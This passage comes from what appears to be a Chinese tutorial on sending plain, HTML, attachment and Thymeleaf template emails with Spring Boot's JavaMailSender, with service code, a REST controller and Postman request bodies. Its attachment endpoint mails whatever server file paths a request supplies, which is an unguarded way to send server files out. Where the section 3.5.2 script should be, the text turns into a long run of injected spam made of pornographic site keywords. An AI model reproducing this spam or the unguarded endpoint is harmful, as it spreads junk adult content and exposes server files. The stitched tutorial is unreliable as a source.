                      // import org.springframework.util.CollectionUtils;
                      if (!CollectionUtils.isEmpty(enclosures)) {
                          for (String key : enclosures.keySet()) {
                              // File file=new File(“D:\mybatis.doc”);
                              File file=new File((String)enclosures.get(key));
                              // 通過MimeMessageHelper對象的addAttachment方法來傳遞附件, 第一個參數(shù)為附件名, 第二個參數(shù)為FIle對象
                              helper.addAttachment(key, file);
                          }
                      }
          
                      // 發(fā)送郵件
                      javaMailSender.send(mimeMessage);
                      log.info("send mime email success!");
                      return true;
                  } catch (MessagingException e) {
                      e.printStackTrace();
                      return false;
                  }
              }
          }


          2.5 創(chuàng)建EmailController


          package org.example.controller;
          
          import org.example.entity.EmailModel;
          import org.example.service.EmailService;
          import org.slf4j.Logger;
          import org.slf4j.LoggerFactory;
          import org.springframework.beans.factory.annotation.Autowired;
          import org.springframework.web.bind.annotation.RequestBody;
          import org.springframework.web.bind.annotation.RequestMapping;
          import org.springframework.web.bind.annotation.ResponseBody;
          import org.springframework.web.bind.annotation.RestController;
          
          import javax.mail.MessagingException;
          
          /**
           * 通知告警服務(wù):
           *      集成 drools:
           *
           *      通知渠道: 站內(nèi)信, 郵件, 短信, 微信 等等
           *      通知策略: 告警級別設(shè)置, 告警規(guī)則合并, 告警通知的周期。。 粒度
           *          交易通知:
           *              告警級別
           *              通知策略:
           *                  drools
           *          告警規(guī)則:mysql+springboot 交易服務(wù) 放在 同一臺機器 --》 幾百條 合并為一條
           *      權(quán)限,認證
           * @description:
           */
          @RestController
          public class EmailController {
              Logger log=LoggerFactory.getLogger(getClass());
          
              @Autowired
              EmailService emailService;
          
              @RequestMapping("test")
              public String test() {
                  log.info("ok");
                  return "ok";
              }
          
              /**
               * {
               *     "recipientMailbox": [
               *         "test@xxx.cn"
               *     ],
               *     "title": "簡單測試主題",
               *     "content": "測試郵件測試人test"
               * }
               * @param model
               * @return
               * @throws MessagingException
               */
              @RequestMapping("sendSimpleEmail")
              public String sendSimpleEmail(@RequestBody EmailModel model) {
                  emailService.sendSimpleEmail(model);
                  return "success!";
              }
          
              /**
               * {
               *     "recipientMailbox": [
               *         "test@xxx.cn"
               *     ],
               *     "title": "html測試主題",
               *     "content": "<h1>測試郵件測試人test</h1>
               *        <a href=\"https://www.baidu.com/\">點擊跳轉(zhuǎn)百度</a>
               *        <img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
               * }
               * @param model
               * @return
               * @throws MessagingException
               */
              @RequestMapping("sendMimeEmail")
              public String sendMimeEmail(@RequestBody EmailModel model) {
                  emailService.sendMimeEmail(model);
                  return "success!";
              }
          
              /**
               * {
               *     "recipientMailbox": [
               *         "test@xxx.cn"
               *     ],
               *     "title": "附件測試主題",
               *     "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
               *     "enclosures": {
               *         "dog2.jpg": "E:\\img\\dog2.png"
               *     }
               * }
               * @param model
               * @return
               */
              @RequestMapping("sendAttachMimeEmail")
              public String sendAttachMimeEmail(@RequestBody EmailModel model) {
                  emailService.sendAttachMimeEmail(model);
                  return "success!";
              }
          
              /**
               * {
               *     "recipientMailbox": [
               *         "test@xxx.cn"
               *     ],
               *     "title": "thymeleaf 測試主題",
               *     "enclosures": {
               *         "dog2.jpg": "E:\\img\\dog2.png"
               *     }
               * }
               * @param model
               * @return
               */
              @RequestMapping("sendTemplateMail")
              @ResponseBody
              public String sendTemplateMail(@RequestBody EmailModel model) {
                  emailService.sendTemplateMail(model);
                  return "success!";
              }
          }


          3. 郵件發(fā)送類型講解


          下文中所有的實現(xiàn)都是寫在 EmailService 類中。


          3.1 發(fā)送簡單的郵件(內(nèi)容為純文本郵件)


          通過SimpleMailMessage對象來發(fā)送簡單郵件,郵件的內(nèi)容只能是純文本,將內(nèi)容封裝到該對象中,再通過javaMailSender對象來發(fā)送郵件


          /**
           * 發(fā)送簡單的郵件(內(nèi)容為純文本郵件)
           * @param model
           * @return
           */
          public boolean sendSimpleEmail(EmailModel model) {
          	SimpleMailMessage simpleMailMessage=new SimpleMailMessage();
          
          	// 設(shè)置發(fā)件人郵箱
          	simpleMailMessage.setFrom(MAIL_USERNAME);
          
          	// 設(shè)置接收人賬號
          	simpleMailMessage.setTo(model.getRecipientMailbox());
          
          	// 設(shè)置郵件標(biāo)題
          	simpleMailMessage.setSubject(model.getTitle());
          
          	// 設(shè)置抄送人
          	String[] ccMailbox=model.getCcMailbox();
          	if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
          		simpleMailMessage.setCc(model.getCcMailbox());
          	}
          
          	// 加密抄送人郵箱
          	String[] bccMailbox=model.getBccMailbox();
          	if (ArrayUtils.isNotEmpty(bccMailbox)) {
          		simpleMailMessage.setBcc(model.getBccMailbox()); // 加密抄送
          	}
          
          	// 發(fā)送日期
          	simpleMailMessage.setSentDate(new Date());
          
          	// 設(shè)置郵件正文內(nèi)容
          	simpleMailMessage.setText(model.getContent());
          
          	// 發(fā)送郵件
          	javaMailSender.send(simpleMailMessage);
          	log.info("send simple email success!");
          	return true;
          }


          3.1.2 postman腳本


          {
              "recipientMailbox": [
                  "test@xxxx.cn"
              ],
              "title": "簡單測試主題",
              "content": "<h1>測試郵件測試人test</h1>"
          }


          3.1.3 發(fā)送請求,將email對象中的數(shù)據(jù)初始化



          查看是否收到郵件,內(nèi)容和我們發(fā)送的一樣



          3.2 發(fā)送簡單的郵件(內(nèi)容可以識別html標(biāo)簽)


          3.2.1 方法1


          直接和上面一樣,使用SimpleMessage對象,調(diào)用setText方法,里面的字符串是帶有html標(biāo)簽的字符串,在發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽 代碼和上面一樣,只需要修改發(fā)送email的內(nèi)容即可




          3.2.2 方法2


          使用MimeMessage來作為對象發(fā)送,但是郵件內(nèi)容需要通過MimeMessageHelper對象來進行封裝進MimeMessage里

          注意:

          如果發(fā)送的內(nèi)容包括html標(biāo)簽,則需要 helper.setText(email.getContent(),true);第二個參數(shù)要為true,表示開啟識別html標(biāo)簽.默認是false,也就是不識別.



          /**
           * 發(fā)送富文本郵件(附件,圖片,html等)
           *      使用MimeMessage來作為對象發(fā)送,
           *      但是郵件內(nèi)容需要通過 MimeMessageHelper 對象來進行封裝進MimeMessage 里
           * 注意:
           *      如果發(fā)送的內(nèi)容包括html標(biāo)簽, 則需要 helper.setText(email.getContent(),true);
           *      第二個參數(shù)要為true,表示開啟識別html標(biāo)簽.默認是false,也就是不識別.
           * @param model
           * @return
           */
          public boolean sendMimeEmail(EmailModel model) {
          	MimeMessage mimeMessage=javaMailSender.createMimeMessage();
          	MimeMessageHelper helper=new MimeMessageHelper(mimeMessage);
          
          	try {
          		// 設(shè)置發(fā)件人郵箱
          		helper.setFrom(MAIL_USERNAME);
          
          		// 設(shè)置接收人賬號
          		helper.setTo(model.getRecipientMailbox());
          
          		// 設(shè)置郵件標(biāo)題
          		helper.setSubject(model.getTitle());
          
          		// 設(shè)置抄送人
          		String[] ccMailbox=model.getCcMailbox();
          		if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
          			helper.setCc(model.getCcMailbox());
          		}
          
          		// 加密抄送人郵箱
          		String[] bccMailbox=model.getBccMailbox();
          		if (ArrayUtils.isNotEmpty(bccMailbox)) {
          			helper.setBcc(model.getBccMailbox()); // 加密抄送
          		}
          
          		// 發(fā)送日期
          		helper.setSentDate(new Date());
          
          		// 發(fā)送的內(nèi)容包括html標(biāo)簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
          		// 使用 MimeMessage 對象, 調(diào)用setText方法, 里面的字符串是帶有html標(biāo)簽的字符串,
          		// 在發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽
          		helper.setText(model.getContent(), true);
          
          		// 發(fā)送郵件
          		javaMailSender.send(mimeMessage);
          		log.info("send mime email success!");
          		return true;
          	} catch (MessagingException e) {
          		e.printStackTrace();
          		return false;
          	}
          }


          3.2.3 postman腳本


          {
              "recipientMailbox": [
                  "test@xxxx.cn"
              ],
              "title": "鏈接地址測試主題",
              "content": "<a href=\"https://www.baidu.com/\">點擊跳轉(zhuǎn)百度</a>"
          }




          3.3 發(fā)送帶靜態(tài)資源(圖片)的郵件中


          方法和上面方法2中的代碼是一致的,只相當(dāng)于郵件內(nèi)容還是html標(biāo)簽,現(xiàn)在就是使用的<img>標(biāo)簽



          3.3.1 postman腳本


          {
              "recipientMailbox": [
                  "test@xxxx.cn"
              ],
              "title": "圖片測試主題",
              "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>"
          }


          效果圖:



          3.4 發(fā)送帶附件的郵件


          我們的郵件中可能還需要附帶一些附件,比如文件,或者jar包等等,如何發(fā)送附件呢? 也是使用MimeMessage對象和MimeMessageHelper對象,但是在創(chuàng)建MimeMessageHelper對象的時候需要加一個參數(shù)為true.



          /**
           * 使用 MimeMessage 發(fā)送富文本郵件(附件,圖片,html等)
           * @param model
           * @return
           */
          public boolean sendAttachMimeEmail(EmailModel model) {
          	MimeMessage mimeMessage=javaMailSender.createMimeMessage();
          
          	try {
          		// 發(fā)送帶附件的郵件, 需要加一個參數(shù)為true
          		MimeMessageHelper helper=new MimeMessageHelper(mimeMessage, true);
          
          		// 設(shè)置發(fā)件人郵箱
          		helper.setFrom(MAIL_USERNAME);
          
          		// 設(shè)置接收人賬號
          		helper.setTo(model.getRecipientMailbox());
          
          		// 設(shè)置郵件標(biāo)題
          		helper.setSubject(model.getTitle());
          
          		// 設(shè)置抄送人
          		String[] ccMailbox=model.getCcMailbox();
          		if (ArrayUtils.isNotEmpty(ccMailbox)) { // org.apache.commons.lang3.ArrayUtils
          			helper.setCc(model.getCcMailbox());
          		}
          
          		// 加密抄送人郵箱
          		String[] bccMailbox=model.getBccMailbox();
          		if (ArrayUtils.isNotEmpty(bccMailbox)) {
          			helper.setBcc(model.getBccMailbox()); // 加密抄送
          		}
          
          		// 發(fā)送日期
          		helper.setSentDate(new Date());
          
          		// 發(fā)送的內(nèi)容包括html標(biāo)簽, 需要 helper.setText(email.getContent(),true); 開啟html識別
          		// 使用 MimeMessage 對象, 調(diào)用setText方法, 里面的字符串是帶有html標(biāo)簽的字符串,
          		// 在發(fā)送郵件的時候會自動解析正文中的html標(biāo)簽
          		helper.setText(model.getContent(), true);
          
          		Map<String, Object> enclosures=model.getEnclosures();
          
          		// 創(chuàng)建要傳遞的附件對象
          		if (!CollectionUtils.isEmpty(enclosures)) { // import org.springframework.util.CollectionUtils;
          			for (String key : enclosures.keySet()) {
          				// File file=new File("D:\mybatis.doc");
          				File file=new File((String) enclosures.get(key));
          
          				// 通過MimeMessageHelper對象的addAttachment方法來傳遞附件
          				// 第一個參數(shù)為附件名, 第二個參數(shù)為File對象
          				helper.addAttachment(key, file);
          			}
          		}
          
          		// 預(yù)覽文件
          		// helper.addAttachment("2.jpg", new File("E:\\pic\\2.jpg"));
          		// 配合前端可以直接預(yù)覽圖片
          		// helper.addInline("p01", new FileSystemResource(new File("E:\\pic\\2.jpg")));
          		// helper.addInline("p02", new FileSystemResource(new File("E:\\pic\\2.jpg")));
          
          		// 發(fā)送郵件
          		javaMailSender.send(mimeMessage);
          		log.info("send mime email success!");
          		return true;
          	} catch (MessagingException e) {
          		e.printStackTrace();
          		return false;
          	}
          }


          3.4.1 postman腳本


          {
              "recipientMailbox": [
                  "test@xxx.cn"
              ],
              "title": "附件測試主題",
              "content": "<img src=\"https://img-blog.csdnimg.cn/2092623a09ed4d19ac4b9ab5301462cf.png\"></img>",
              "enclosures": {
                  "dog2.jpg": "E:\\2.新員工\\img\\dog2.png"
              }
          }


          3.4.2 重點


          1. 第二個參數(shù)為true


          MimeMessageHelper helper=new MimeMessageHelper(mimeMessage,true);
          File file=new File(“D:\Users\Administrator\Desktop\picture\mybatis.doc”);


          1. 調(diào)用helper的addAttachment來添加附件


          helper.addAttachment(file.getName(),file);



          3.4.3 附件上傳成功!



          3.5 發(fā)送 thymleaf 模板郵件


          3.5.1 模板 mail.html


          放在resource/templates/mail目錄下


          <!DOCTYPE html>
          <html lang="en" xmlns:th="http://www.thymeleaf.org">
          <head>
              <meta charset="UTF-8">
              <title>title</title>
          </head>
          <body>
              <h3>你看我<span style="font-size: 35px" th:text="${username}"></span>, 哈哈哈!</h3>
          </body>
          </html>


          3.5.2 postman腳本


          主站蜘蛛池模板: 国产一区二区福利| 国产91精品一区二区麻豆亚洲| 精品视频一区二区| 91精品福利一区二区三区野战| 韩国一区二区三区视频| 精品一区二区三区在线观看l | 国产一区二区电影| 后入内射国产一区二区| 色一情一乱一伦一区二区三欧美| 亚洲熟妇av一区二区三区| 真实国产乱子伦精品一区二区三区 | 久久青草精品一区二区三区| 亚洲成人一区二区| 亚洲国产激情一区二区三区| 夜夜精品无码一区二区三区| 青娱乐国产官网极品一区| 国产精品亚洲一区二区三区在线观看| 亚洲色无码专区一区| 精品日韩一区二区| 亚欧免费视频一区二区三区| 亚洲一区二区三区丝袜| 怡红院一区二区在线观看| 国产成人精品日本亚洲专一区| 日韩免费一区二区三区在线| 东京热无码一区二区三区av | 亚洲一区二区三区高清不卡 | 亚洲av区一区二区三| 欧美一区内射最近更新| 亚洲乱色熟女一区二区三区蜜臀| 中字幕一区二区三区乱码| AV天堂午夜精品一区二区三区| 无码人妻精品一区二区三区99仓本 | 亚洲一区二区三区高清视频| 亚洲一区二区三区免费观看| 亚洲国产精品无码第一区二区三区| 成人丝袜激情一区二区| 亚洲福利视频一区二区| 亚洲AV成人一区二区三区AV| 无码福利一区二区三区| 国产一国产一区秋霞在线观看| 精品福利一区3d动漫|